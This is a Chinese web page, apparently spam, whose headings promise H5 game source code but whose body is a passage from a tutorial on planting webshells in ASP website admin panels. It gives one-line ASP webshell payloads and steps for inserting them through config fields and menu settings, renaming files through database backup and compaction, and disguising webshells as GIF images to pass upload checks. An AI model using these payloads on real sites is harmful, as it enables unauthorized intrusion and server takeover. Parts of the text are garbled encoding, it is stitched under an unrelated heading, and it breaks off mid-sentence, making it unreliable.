皮皮网

1.h5游戏源码
2.如何进入网站后台 获取webshell进入后台

h5游戏源码

       下载地址：hacker at dot net":eval request(chr ())//,沸腾沸腾机票采集查询源码 在配制文件中就是webmail="cnhacker at dot net\":eval request(chr())//"，还有一种方法就是写上cnhacker at dot net"%><%eval request(chr())%><%'，这样就会形成前后对应，最小马也就运行了。<%eval request(chr())%>可以用lake2的eval发送端以及最新的 客户端来连，需要说明的是数据库插马时候要选前者。再如动易，到文章中心管理-顶部菜单设置-菜单其它特效，插入一句话马"%><%execute request("l")%><%'，保存顶部栏目菜单参数设置成功后，我们就得到马地址http://网站/admin/rootclass_menu_config.asp。

       äº”、利用后台数据库备份及恢复获得webshell

       ä¸»è¦æ˜¯åˆ©ç”¨åŽå°å¯¹access数据库的“备份数据库”或“恢复数据库”功能，“备份的数据库路径”等变量没有过滤导致可以把任意文件后缀改 为asp，从而得到webshell，msssql版的程序就直接应用了access版的代码，导致sql版照样可以利用。还可以备份网站asp文件为其他后缀 如.txt文件，从而可以查看并获得网页源代码，并获得更多的程序信息增加获得webshell的机会。在实际运用中经常会碰到没有上传功能的时 候，但是有asp系统在运行，利用此方法来查看源代码来获得其数据库的位置，为数据库插马来创造机会，动网论坛就有一个ip地址的数据库，在后台的ip管理中可以插入最小马然后备份成.asp文件即可。在谈谈突破上传检测的方法，很多asp程序在即使改了后缀名后也会提示文件非法，通过在.asp文件头加上gifa修改后缀为gif来骗过asp程序检测达到上传的目的，还有一种就是用记事本打开图片文件，随便粘贴一部分复制到asp木马文件头，修改gif后缀后上传也可以突破检测，然后备份为.asp文件，成功得到webshell。

       å…­ã€åˆ©ç”¨æ•°æ®åº“压缩功能

       å¯ä»¥å°†æ•°æ®çš„防下载失效从而使插入数据库的最小马成功运行，比较典型的就是loveyuki的L-BLOG，在友情添加的url出写上<%eval request (chr())%>, 提交后，在数据库操作中压缩数据库，可以成功压缩出.asp文件，用海洋的最小马的eval客户端连就得到一个webshell。

       ä¸ƒã€asp+mssql系统

       è¿™é‡Œéœ€è¦æä¸€ç‚¹åŠ¨ç½‘mssql版，但是可以直接本地提交来备份的。首先在发帖那上传一个写有asp代码的假图片，然后记住其上传路径。写一个本地提交的表单